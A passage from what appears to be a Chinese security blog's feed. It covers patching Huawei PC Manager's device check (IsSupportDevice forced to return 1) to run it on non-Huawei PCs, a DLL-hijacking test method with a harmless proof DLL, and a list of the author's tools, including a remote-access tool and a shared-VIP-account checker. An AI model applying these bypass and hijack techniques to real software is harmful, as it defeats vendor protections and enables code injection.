<p>才看到被我忽略的一个很重要的信息<code>Util!SMBIOSHelper::IsSupportDevice</code>，这个函数名太明显了。</p> <p>只需要修改这个返回值，基本应该就绕过检查了。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">BOOL8 __fastcall SMBIOSHelper::IsSupportDevice(SMBIOSHelper *this)</span><br><span class="line">&#123;</span><br><span class="line"> return 1; &#x2F;&#x2F;patch</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>是的，我好像又掉坑里，浪费了挺多时间。</p> <h3 id="4"><a href="#4" class="headerlink" title="4"></a>4</h3><p>但是前面为什么会出现异常呢，导致我掉进了一个确实是对的但又有点坑的位置呢。</p> <p>想到xml的路径，此时我终于反应过来哪个异常可能是什么了。</p> <p>因为我把软件放在了中文目录中，而软件对中文处理貌似有问题。（我没有深究了）</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">D:\华为\PCManager_Setup_9.1.6.33</span><br></pre></td></tr></table></figure> <p>果然，去掉中文目录后，再没有上面看到的int3。</p> <p>所以，这又是个坑。C</p> <p>本来正常的分析逻辑是这样的。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; g</span><br><span class="line">ntdll!NtTerminateProcess+0x14:</span><br><span class="line">00007fff&#96;5153c644 c3              ret</span><br><span class="line">0:000&gt; kv</span><br><span class="line"> # Child-SP          RetAddr           : Args to Child                                                           : Call Site</span><br><span class="line">00 00000042&#96;558ffb38 00007fff&#96;5150a9b8 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : ntdll!NtTerminateProcess+0x14</span><br><span class="line">01 00000042&#96;558ffb40 00007fff&#96;4f6fcd8a : 00000000&#96;00000000 00000000&#96;00000000 00007fff&#96;4ecb9b68 00000000&#96;00000000 : ntdll!RtlExitUserProcess+0xb8</span><br><span class="line">02 00000042&#96;558ffb70 00007fff&#96;4ec1ae38 : 00000000&#96;00000000 00000000&#96;00000000 00000042&#96;558ffbf8 00007fff&#96;4ecebc20 : KERNEL32!ExitProcessImplementation+0xa</span><br><span class="line">03 00000042&#96;558ffba0 00007fff&#96;4ec186ef : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000042&#96;558ffbf0 : ucrtbase!exit_or_terminate_process+0x44</span><br><span class="line">04 00000042&#96;558ffbd0 00007ff6&#96;fa852235 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000001 : ucrtbase!common_exit+0x6f</span><br><span class="line">05 00000042&#96;558ffc20 00007fff&#96;4f6f7bd4 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : PCManager!Compression::Compression+0x3ba5</span><br><span class="line">06 00000042&#96;558ffc60 00007fff&#96;5150ced1 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : KERNEL32!BaseThreadInitThunk+0x14</span><br><span class="line">07 00000042&#96;558ffc90 00000000&#96;00000000 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : ntdll!RtlUserThreadStart+0x21</span><br></pre></td></tr></table></figure> <p>看到exit进程，回溯到调用位置，看看做了什么判断。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.text:000000014003221E                 call    WinMain</span><br><span class="line">.text:0000000140032223                 mov     ebx, eax</span><br><span class="line">.text:0000000140032225                 call    __scrt_is_managed_app</span><br><span class="line">.text:000000014003222A                 test    al, al</span><br><span class="line">.text:000000014003222C                 jnz     short loc_140032235</span><br><span class="line">.text:000000014003222E                 mov     ecx, ebx        ; Code</span><br><span class="line">.text:0000000140032230                 call    exit</span><br><span class="line">.text:0000000140032235 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000140032235</span><br><span class="line">.text:0000000140032235 loc_140032235:                          ; CODE XREF: __scrt_common_main_seh(void)+120↑j</span><br><span class="line">.text:0000000140032235                 test    dil, dil</span><br></pre></td></tr></table></figure> <p>是在WinMain中正常退出的，所以判断就是在WinMain中。在IDA翻看一下，很容就找到了重要提示。</p> <p><img src="https://i.loli.net/2019/11/06/yRocGLDu1rEnxUl.png" alt="12.png"></p> <p>在往上看，正主来了。</p> <p><img src="https://i.loli.net/2019/11/06/MZUQkX39yOTzfmn.png" alt="13.png"></p> <p>这样简单太多了，已经不记得是第几次被中文路径坑了，又想用英文系统了。</p> <h3 id="5"><a href="#5" class="headerlink" title="5"></a>5</h3><p>把<code>Util!SMBIOSHelper::IsSupportDevice</code>修正一番，替换原始的utlil.dll，直接运行软件，在华为的友商电脑中成功启动。</p> <p><img src="https://i.loli.net/2019/11/06/F3wceBx5uIOGC8N.png" alt="14.png"></p> <p>开始尝试连接手机。</p> <p>点击我的手机-&gt;扫码连接，提示需使用华为浏览器扫描。</p> <p>因为我不是华为手机，所以是不是下载一个华为浏览器就OK了呢。</p> <p>一番搜索，在华为市场找到了华为浏览器的app。</p> <p><img src="https://i.loli.net/2019/11/06/KZNm6WhFCle251b.png" alt="15.png"></p> <p>兴致勃勃地装到了我的小米手机上，嗯，友商之间很友好，并没有出现什么异常情况。</p> <p>打开浏览器，点开二维码扫描，扫描软件管家二维码，提示需要安装华为移动服务，ok，安装。</p> <p><img src="https://i.loli.net/2019/11/06/7qUPYXiEAbLBsKH.jpg" alt="16.jpg"></p> <p>安装完成之后，啥也没提示，就光秃秃一个网页页面，电脑助手。</p> <p>懵逼中，再次扫描，同样地情况。</p> <p>脑筋一转，把链接复制发到了电脑，浏览器打开，看到了下载按钮。</p> <p><img src="https://i.loli.net/2019/11/06/LiES1xyownVmjCa.png" alt="17.png"></p> <p>第三个app了，继续把华为电脑助手安卓版装入了小米，瞬间感觉MIUI好像被华为全家桶强X了一下ε(┬┬﹏┬┬)3。</p> <p>重新扫描，这次果然不一样了，浏览器跳转到了助手页面，提示配对。</p> <p>这中间又出现了n多问题</p> <p>(怀疑蓝牙服务不正常、二维码生成不正常、电脑管家是否对手机校验、分析是否还有check…)</p> <p>不想细说了，反正经过一番折腾，终于手机和电脑连上了。</p> <p><img src="https://i.loli.net/2019/11/06/Wse91QrShUYMxX8.png" alt="18.png"></p> <p>但是这也没有多屏协同啊，就一个手机助手啊。</p> <p>难道我哪里又弄错了？</p> <p>去搜了搜多屏协同的帖子，算是找到了问题。</p> <p><img src="https://i.loli.net/2019/11/06/XrUAeYTOdxla74k.png" alt="19.png"></p> <p>TMD，原来下载的软件版本低了，而我还眼瞎地没看到上面的下载列表的10.0.2.59版本。</p> <p>真是被自己蠢哭了。</p> <p>下载最新版，重新修正了util.dll，这次连上果然不一样了。</p> <p><img src="https://s2.ax1x.com/2019/11/06/MCgQAg.png" alt="20.png"></p> <p>但是，最终还是没能用上多屏协同，尽管我已经安装了3个华为的app，但就是手机不支持（EMUI系统功能）。</p> <p><img src="https://s2.ax1x.com/2019/11/06/MCgKHS.png" alt="21.png"></p> <p>看到这些条件，我真是感到心累，“这是对冲动最好的惩罚”。</p> <h3 id="6"><a href="#6" class="headerlink" title="6"></a>6</h3><p>是的，虽然折腾了这么久，最后也没用上这个牛逼的功能，但是我很充实（哭）。</p> <p>因为我为其他拥有华为手机但没有华为电脑然后想体验华为多屏协同功能的大伙做出了我的贡献。</p> <p>我满足了。</p> <p>哎，卑微的我去咸鱼看看二手的华为手机，或者去问问华为EMUI适配不适配友商的手机了。</p> <p>或者哪位大佬有换代的华为手机邮我一个，地址是：XXXX。</p> <p>哎，曾经的我没钱买华为，现在的我依然没钱买华为。</p> <p>申明：虽然华为手机副总裁已经说过不反对破解，但这里还是郑重申明，文章仅仅是做技术研究，如侵删，谢谢。</p> <p>最后，小声地说，如果想体验的朋友，请到<a href="https://github.com/anhkgg/Huawei_PCManager_NB">https://github.com/anhkgg/Huawei_PCManager_NB</a>下载试用，务必阅后即焚。</p> <p>文件较大，也可以公众号后台回复：<code>HuaweiNB</code>获取网盘链接。</p> <p>如果觉得内容还不错，欢迎关注公众号：<a href="https://mp.weixin.qq.com/s/RnFXcn_Lj3lfQguv8EQeJw">汉客儿</a>。</p> <p>交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>转载请注明出处：<a href="https://anhkgg.github.io/huawei-pcmanager-nb">https://anhkgg.github.io/huawei-pcmanager-nb</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;blockquote&gt; &lt;p&gt;author: anhkgg&lt;br&gt;date: 2019年11月6日&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;让友商电脑兼容了一下华为系专属的多屏协同功能&lt;/p&gt; &lt;p&gt;笔者注：文中出现的大写&lt;code&gt;C&lt;/code&gt;，请轻声念出北京大爷的口头禅。&lt;/p&gt; &lt;p&gt;华为刚发布多屏协同功能的时候，我就被种草了。&lt;/p&gt; &lt;p&gt;后来一天在微博看到&lt;a href=&quot;https://m.weibo.cn/profile/3513171522&quot;&gt;@Navis-MDT&lt;/a&gt;发布的一个体验视频，果然碉堡了。&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://weibo.com/tv/v/IdIY7gwoF?fid=1034:4432710022688749&quot;&gt;华为多频协同体验视频&lt;/a&gt;&lt;/p&gt; &lt;p&gt;瞬间有点想从“米boy”转为“花粉”用户，这…当然是不可能的了。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="crack" scheme="https://anhkgg.github.io/tags/crack/"/>            <category term="pcmanager" scheme="https://anhkgg.github.io/tags/pcmanager/"/>            <category term="huawei" scheme="https://anhkgg.github.io/tags/huawei/"/>        </entry>      <entry>     <title>注入技术系列：一个批量验证DLL劫持的工具</title>     <link href="https://anhkgg.github.io/inject-dllhijack-tool/"/>     <id>https://anhkgg.github.io/inject-dllhijack-tool/</id>     <published>2019-11-03T01:11:36.000Z</published>     <updated>2019-11-04T08:21:38.335Z</updated>          <content type="html"><![CDATA[<blockquote> <p>作者：anhkgg<br>日期：2019年11月3日</p> </blockquote> <p>很多时候，可能会对某个软件进行DLL劫持。</p> <p>而这个软件是否存在DLL劫持漏洞，需要去分析验证。</p> <p>比如通过IDA查看导入的DLL，或者LoadLibrary的DLL，然后慢慢排除某些KnownDlls，排除某些绝对路径加载的DLL…</p> <p>或者通过Windbg分析。</p> <p>虽然技术难度不高，但是挺费事的。</p> <p>本篇文章分享我找DLL劫持的方法，不一定是最佳，不过很方便。</p> <a id="more"></a> <h3 id="1"><a href="#1" class="headerlink" title="1"></a>1</h3><p>首先，通过windbg启动软件，设置（默认开启的）：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Debug-&gt;Event Filters-&gt;Load module，勾选Output</span><br></pre></td></tr></table></figure> <p>然后go运行。这样我们可以看到运行后，软件导入表导入的DLL，以及LoadLibrary加载的DLL的所有文件，如下所示：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ModLoad: 75090000 750cb000   C:\Windows\system32\rsaenh.dll</span><br><span class="line">ModLoad: 757c0000 757cc000   C:\Windows\system32\CRYPTBASE.dll</span><br><span class="line">ModLoad: 778b0000 778da000   C:\Windows\system32\imagehlp.dll</span><br><span class="line">ModLoad: 77860000 778a5000   C:\Windows\system32\WLDAP32.dll</span><br></pre></td></tr></table></figure> <h3 id="2"><a href="#2" class="headerlink" title="2"></a>2</h3><p>写一个测试的DLL，只用下面的代码：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">BOOL APIENTRY DllMain( HMODULE hModule,</span><br><span class="line">                       DWORD  ul_reason_for_call,</span><br><span class="line">                       LPVOID lpReserved</span><br><span class="line">                     )</span><br><span class="line">&#123;</span><br><span class="line">    char path[MAX_PATH] &#x3D; &#123; 0 &#125;;</span><br><span class="line">    switch (ul_reason_for_call)</span><br><span class="line">    &#123;</span><br><span class="line">    case DLL_PROCESS_ATTACH:</span><br><span class="line">        OutputDebugStringA(path);</span><br><span class="line">        OutputDebugStringA(&quot;success!&quot;);</span><br><span class="line">        MessageBoxA(NULL, &quot;success!&quot;, &quot;Tips&quot;, MB_OK);</span><br><span class="line">        ExitProcess(0);</span><br><span class="line">        break;</span><br><span class="line">    case DLL_THREAD_ATTACH:</span><br><span class="line">    case DLL_THREAD_DETACH:</span><br><span class="line">    case DLL_PROCESS_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">    return TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>然后讲DLL改名成劫持目标DLL，放到软件目录下，运行验证即可。</p> <p>如果出现提示<code>success</code>则表示该目标DLL劫持成功。</p> <h3 id="3"><a href="#3" class="headerlink" title="3"></a>3</h3><p>如果DLL太多了，一一验证排除肯定很麻烦，所以程序员又要写代码了。</p> <p>写一个自动批量验证的工具，基本思路如下：</p> <ul> <li>把windbg拿到的dll列表保存下来</li> <li>准备好测试DLL，DLL中加入写log功能</li> <li>分析dll列表，一一把测试DLL拷贝为目标dll，启动软件</li> <li>然后把log提取出来，可以看到成功劫持的dll</li> </ul> <p><img src="/img/inject/1.png" alt="img"></p> <p>工具界面如上，一键验证所有DLL，分分钟拿到结果。</p> <p>工具会分享到<a href="https://github.com/anhkgg/anhkgg-tools">https://github.com/anhkgg/anhkgg-tools</a>下，欢迎使用，如有bug，请联系我。</p> <p>交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>转载请注明出处：<a href="https://anhkgg.github.io/inject-dllhijack-tool">https://anhkgg.github.io/inject-dllhijack-tool</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;blockquote&gt; &lt;p&gt;作者：anhkgg&lt;br&gt;日期：2019年11月3日&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;很多时候，可能会对某个软件进行DLL劫持。&lt;/p&gt; &lt;p&gt;而这个软件是否存在DLL劫持漏洞，需要去分析验证。&lt;/p&gt; &lt;p&gt;比如通过IDA查看导入的DLL，或者LoadLibrary的DLL，然后慢慢排除某些KnownDlls，排除某些绝对路径加载的DLL…&lt;/p&gt; &lt;p&gt;或者通过Windbg分析。&lt;/p&gt; &lt;p&gt;虽然技术难度不高，但是挺费事的。&lt;/p&gt; &lt;p&gt;本篇文章分享我找DLL劫持的方法，不一定是最佳，不过很方便。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="inject" scheme="https://anhkgg.github.io/tags/inject/"/>            <category term="dllhijack" scheme="https://anhkgg.github.io/tags/dllhijack/"/>        </entry>      <entry>     <title>程序员的生活原来这么丰富:)-造轮子，撸工具的乐趣</title>     <link href="https://anhkgg.github.io/anhkgg-tools/"/>     <id>https://anhkgg.github.io/anhkgg-tools/</id>     <published>2019-10-18T08:34:35.000Z</published>     <updated>2019-11-14T06:31:53.675Z</updated>          <content type="html"><![CDATA[<blockquote> <p>author: anhkgg<br>date: 2019年10月17日</p> </blockquote> <h3 id="原标题：造轮子，撸工具的乐趣"><a href="#原标题：造轮子，撸工具的乐趣" class="headerlink" title="原标题：造轮子，撸工具的乐趣"></a>原标题：造轮子，撸工具的乐趣</h3><p>QQ交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>从开始学习编程到现在，一直喜欢写些小工具，也会重复造轮子。</p> <p>为什么要自己撸呢？</p> <p>~当然是因为别人撸的不好（逃）~</p> <a id="more"></a> <p>因为：</p> <ul> <li>自己某些小需求，并没有现成工具</li> <li>别人的工具有些瑕疵，没有达到自己的预期，而且没有开源，不好改</li> <li>有时是为了，减少人工，重复劳动，完成自动化</li> <li>有时是为了技术学习验证</li> <li>有时纯粹因为好玩</li> <li>但都会带来小小的成就感，感觉世界就掌握在自己手中</li> </ul> <p>今天看到介绍鲁大师前世今生的文章，原来做工具也可以成立公司、打入海外、敲钟上市、走上人生巅峰的。</p> <p>所以为什么不可以造轮子，撸工具呢。</p> <h4 id="1、做了些什么？"><a href="#1、做了些什么？" class="headerlink" title="1、做了些什么？"></a>1、做了些什么？</h4><p>下面列的是从我学生时期，到现在能够找到的部分小工具，有些分享出来了，有些保留自用的。</p> <h5 id="看人品双色球"><a href="#看人品双色球" class="headerlink" title="看人品双色球"></a>看人品双色球</h5><p><img src="/img/anhkgg-tools/doublecolorball.png" alt="img"></p> <p>学生时期，有段时间买双色球，可是不知道买什么号，就做了这个小玩意，纯粹是随机数，看人品。</p> <table> <thead> <tr> <th>状态：</th> <th>完成</th> </tr> </thead> <tbody> <tr> <td>好玩指数：</td> <td>★☆☆☆☆</td> </tr> </tbody> </table> <h5 id="迅雷VIP账号验证"><a href="#迅雷VIP账号验证" class="headerlink" title="迅雷VIP账号验证"></a>迅雷VIP账号验证</h5><p><img src="/img/anhkgg-tools/xunlei1.png" alt="img"></p> <p>学生时期，刚学完python不久，各种练手，那时候用迅雷各种下载小时候想看的电视剧、电影。<br>可是没会员速度不给力，找网上分享的各种vip，但有些账号是不能用的，一个个试太费事了。<br>没法，只好写个工具，爬取vip账号，自动登陆尝试账号是否可用，效果不错。<br>因为账号是共享的，可能会被别人挤下去，所以另外还要配合一个断线重连工具使用。</p> <table> <thead> <tr> <th>状态：</th> <th>找不到vip获取工具了</th> </tr> </thead> <tbody> <tr> <td>好玩指数：</td> <td>★★☆☆☆</td> </tr> </tbody> </table> <h5 id="简单计算器"><a href="#简单计算器" class="headerlink" title="简单计算器"></a>简单计算器</h5><p><img src="/img/anhkgg-tools/calc.png" alt="img"></p> <p>学生时期，完成的作业</p> <table> <thead> <tr> <th>状态：</th> <th>完成</th> </tr> </thead> <tbody> <tr> <td>好玩指数：</td> <td>★☆☆☆☆</td> </tr> </tbody> </table> <h5 id="文件浏览器"><a href="#文件浏览器" class="headerlink" title="文件浏览器"></a>文件浏览器</h5><p><img src="/img/anhkgg-tools/explorer.png" alt="img"></p> <p>学生时期，完成的作业</p> <table> <thead> <tr> <th>状态：</th> <th>完成</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★☆☆☆☆</td> </tr> </tbody> </table> <h5 id="py2exe"><a href="#py2exe" class="headerlink" title="py2exe"></a>py2exe</h5><p><img src="/img/anhkgg-tools/py2exe.png" alt="img"></p> <p>学生时期，一个GUI工具，使用py2exe编译python为可发布的exe，那时候好像还没有GUI2exe。</p> <table> <thead> <tr> <th>状态：</th> <th>目前都还在用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★☆☆☆</td> </tr> </tbody> </table> <h5 id="自动签到"><a href="#自动签到" class="headerlink" title="自动签到"></a>自动签到</h5><p>学生时期，学了python，各种分析网站登陆、签到功能之类，然后用python实现。以至于工作了，还想弄个pylogin。</p> <table> <thead> <tr> <th>状态：</th> <th>python是真好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★☆☆☆</td> </tr> </tbody> </table> <h5 id="注入器"><a href="#注入器" class="headerlink" title="注入器"></a>注入器</h5><p><img src="/img/anhkgg-tools/inject.png" alt="img"></p> <p>学习注入之后的产物。</p> <table> <thead> <tr> <th>状态：</th> <th>能用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★☆☆☆</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://download.csdn.net/download/angelxf/4271110">https://download.csdn.net/download/angelxf/4271110</a></td> </tr> </tbody> </table> <h5 id="错误码查询"><a href="#错误码查询" class="headerlink" title="错误码查询"></a>错误码查询</h5><p><img src="/img/anhkgg-tools/error.png" alt="img"></p> <p>都知道vs自带错误码查询工具，但是不支持内核错误码，所以做了这个，两种都支持，另外也是为了练手duilib。<br>值得一提的是，界面使用windows自带画图画的，还能看。</p> <table> <thead> <tr> <th>状态：</th> <th>很好</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★☆☆☆</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://download.csdn.net/download/angelxf/10209284">https://download.csdn.net/download/angelxf/10209284</a></td> </tr> </tbody> </table> <h5 id="114抢号"><a href="#114抢号" class="headerlink" title="114抢号"></a>114抢号</h5><p><img src="/img/anhkgg-tools/114.png" alt="img"></p> <p>有段时间经常需要挂号，当时是在114平台在线挂号，每天早上8点开始放号，网上的号也没几个，又遇上上班的点，很难人工抢到号。更变态的是每次都要输入验证码，真实难上加难。</p> <p>所以开始考虑实现一个抢号工具，难点主要在验证码的获取，并且是自己的手机号。</p> <p>第一版的时候，是直接java写的，然后usb连上手机，监控短信，拿到验证码，完成自动化抢号。但因为上班时间，所以开了台电脑在家，不用的手机也放家里，才算完成了抢号。</p> <p>后面直接做了app版本，直接在手机端完成所有工作。</p> <table> <thead> <tr> <th>状态：</th> <th>效果非常好</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★☆</td> </tr> </tbody> </table> <h5 id="hosts编辑器"><a href="#hosts编辑器" class="headerlink" title="hosts编辑器"></a>hosts编辑器</h5><p><img src="/img/anhkgg-tools/hostseditor.png" alt="img"></p> <p>因为windows UAC限制，很多时候为了修改hosts文件，都需要复制出来hosts，然后修改了，再复制回去，很麻烦的事情。<br>我非常嫌麻烦，所以做了这个工具，可以直接修改，查看，不用复制来复制去了。</p> <table> <thead> <tr> <th>状态：</th> <th>能用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★☆☆</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://download.csdn.net/download/angelxf/11834888">https://download.csdn.net/download/angelxf/11834888</a></td> </tr> </tbody> </table> <h5 id="宽带IP自动同步"><a href="#宽带IP自动同步" class="headerlink" title="宽带IP自动同步"></a>宽带IP自动同步</h5><p>这个是什么东西呢？</p> <p>因为家里放了台性能很好的台式机，上班也想直接用于开发，但是不想搬到公司去。所以台式机开了远程桌面，然后配置路由器端口映射，就可以直接在公司远程连接操作了。因为是tcp直接连接，比某些其他远控软件肯定快了非常多，基本感受不到延迟，体验很好。</p> <p>但问题是，现在开宽带都不提供独立ip了，所以家里电脑的外网ip经常更换，经常用着用着断掉了，工作也歇了。</p> <p>所以就搞了一套实时获取台式机外网ip，上传ip到某个位置，然后公司电脑自动同步ip的工具，在ip更换的情况下，也能够自动更新，再也不怕掉线了。</p> <table> <thead> <tr> <th>状态：</th> <th>完美</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> </tbody> </table> <h5 id="字符编码工具"><a href="#字符编码工具" class="headerlink" title="字符编码工具"></a>字符编码工具</h5><p><img src="/img/anhkgg-tools/charcode.png" alt="img"></p> <p>这种工具很多，但有些时候就是不满足我的需求，比如没法直接进制转换、不能猜测是什么编码。</p> <p>所以我加上了这两个功能，自己撸了一个。</p> <table> <thead> <tr> <th>状态：</th> <th>经常用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://download.csdn.net/download/angelxf/11834897">https://download.csdn.net/download/angelxf/11834897</a></td> </tr> </tbody> </table> <h5 id="神算子偏移计算器"><a href="#神算子偏移计算器" class="headerlink" title="神算子偏移计算器"></a>神算子偏移计算器</h5><p><img src="/img/anhkgg-tools/shensuanzi.png" alt="img"></p> <p>这个工具其实之前已经安利过了。</p> <p>做逆向调试的小伙伴应该都遇到过这种问题：在同时使用两大神器OD(或Windbg)和IDA逆向某程序时，调试中模块基址经常变化，而在IDA中默认为0x400000（或0x10000000），所以在调试到某个点想到IDA整体对比分析一下的时候，发现计算地址真的好麻烦，特别时在经常需要计算的时候，这个问题尤为明显。</p> <p>这个工具可以很方便的计算偏移，转换等。</p> <table> <thead> <tr> <th>状态：</th> <th>很好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://mp.weixin.qq.com/s/glCFGcQN0RBJXqKwqmQqBw">https://mp.weixin.qq.com/s/glCFGcQN0RBJXqKwqmQqBw</a></td> </tr> </tbody> </table> <h5 id="chisechat"><a href="#chisechat" class="headerlink" title="chisechat"></a>chisechat</h5><p><img src="/img/anhkgg-tools/1.png" alt="img"></p> <p>这是最近安利的一个小工具，主要用于私密聊天。</p> <table> <thead> <tr> <th>状态：</th> <th>很好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>下载地址：</td> <td><a href="https://anhkgg.com/Chisechat">https://anhkgg.com/Chisechat</a></td> </tr> <tr> <td>文章：</td> <td><a href="https://mp.weixin.qq.com/s/SV4bxTTURnXDUMR83XDHpg">https://mp.weixin.qq.com/s/SV4bxTTURnXDUMR83XDHpg</a></td> </tr> </tbody> </table> <h5 id="answerot"><a href="#answerot" class="headerlink" title="answerot"></a>answerot</h5><p><img src="/img/anhkgg-tools/answerot.jpg" alt="img"></p> <p>那段时间直播答题非常火热，也参与了，但知识有限，不得不借助外力，所以有了这个项目。</p> <table> <thead> <tr> <th>状态：</th> <th>当时提好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★☆</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/answerot">https://github.com/answerot</a></td> </tr> </tbody> </table> <h5 id="pyrat"><a href="#pyrat" class="headerlink" title="pyrat"></a>pyrat</h5><p>PyRat，基于python XmlRPC完成的远控开源项目，包括客户端和服务端（也叫控制端，后统称服务端）。</p> <p>做这个其实是为了做一个跨平台的rat，也为了可能某些时候文件传输使用，也为了复习相关技术。</p> <table> <thead> <tr> <th>状态：</th> <th>基本完成，可能更新</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★☆☆</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/PyRat">https://github.com/anhkgg/PyRat</a></td> </tr> </tbody> </table> <h5 id="pylogin"><a href="#pylogin" class="headerlink" title="pylogin"></a>pylogin</h5><p>这就是我前面提到的，想完成一个模拟登陆的库，支持各种常用的网站，理想很丰满，现实很残酷。</p> <p>分析各种网站登陆协议挺费事的，目前仅做了v2ex、百度统计、畅言。</p> <table> <thead> <tr> <th>状态：</th> <th>暂时搁置</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★☆☆</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/pylogin">https://github.com/anhkgg/pylogin</a></td> </tr> </tbody> </table> <h5 id="一键电影下载"><a href="#一键电影下载" class="headerlink" title="一键电影下载"></a>一键电影下载</h5><p>如题，就是为了方便。</p> <table> <thead> <tr> <th>状态：</th> <th>好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★☆</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/MovieHunter">https://github.com/anhkgg/MovieHunter</a></td> </tr> </tbody> </table> <h5 id="52备份"><a href="#52备份" class="headerlink" title="52备份"></a>52备份</h5><p>一个批量下载52pojie爱盘中资源的小脚本。因为52爱盘整理的工具很多，也挺好用的，不由自主地想备份一下。</p> <table> <thead> <tr> <th>状态：</th> <th>好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★☆</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/Get52PojieTools">https://github.com/anhkgg/Get52PojieTools</a></td> </tr> </tbody> </table> <h5 id="程序员钢琴曲"><a href="#程序员钢琴曲" class="headerlink" title="程序员钢琴曲"></a>程序员钢琴曲</h5><p>这是我觉得自己做的<strong>最好玩</strong>的一个工具了，没有之一。</p> <p>一天玩钢琴软件，突然冒出来的一个想法，写代码的时候是不是也可以发出优美的琴声呢。</p> <p>让代码变成一首钢琴曲，让程序员也成为钢琴大师！</p> <table> <thead> <tr> <th>状态：</th> <th>好听</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/coding_piano">https://github.com/anhkgg/coding_piano</a></td> </tr> <tr> <td>文章地址：</td> <td><a href="https://mp.weixin.qq.com/s/psiP7NtSOZt2TGsR0QTIow">https://mp.weixin.qq.com/s/psiP7NtSOZt2TGsR0QTIow</a></td> </tr> </tbody> </table> <h5 id="SuperDllHijack"><a href="#SuperDllHijack" 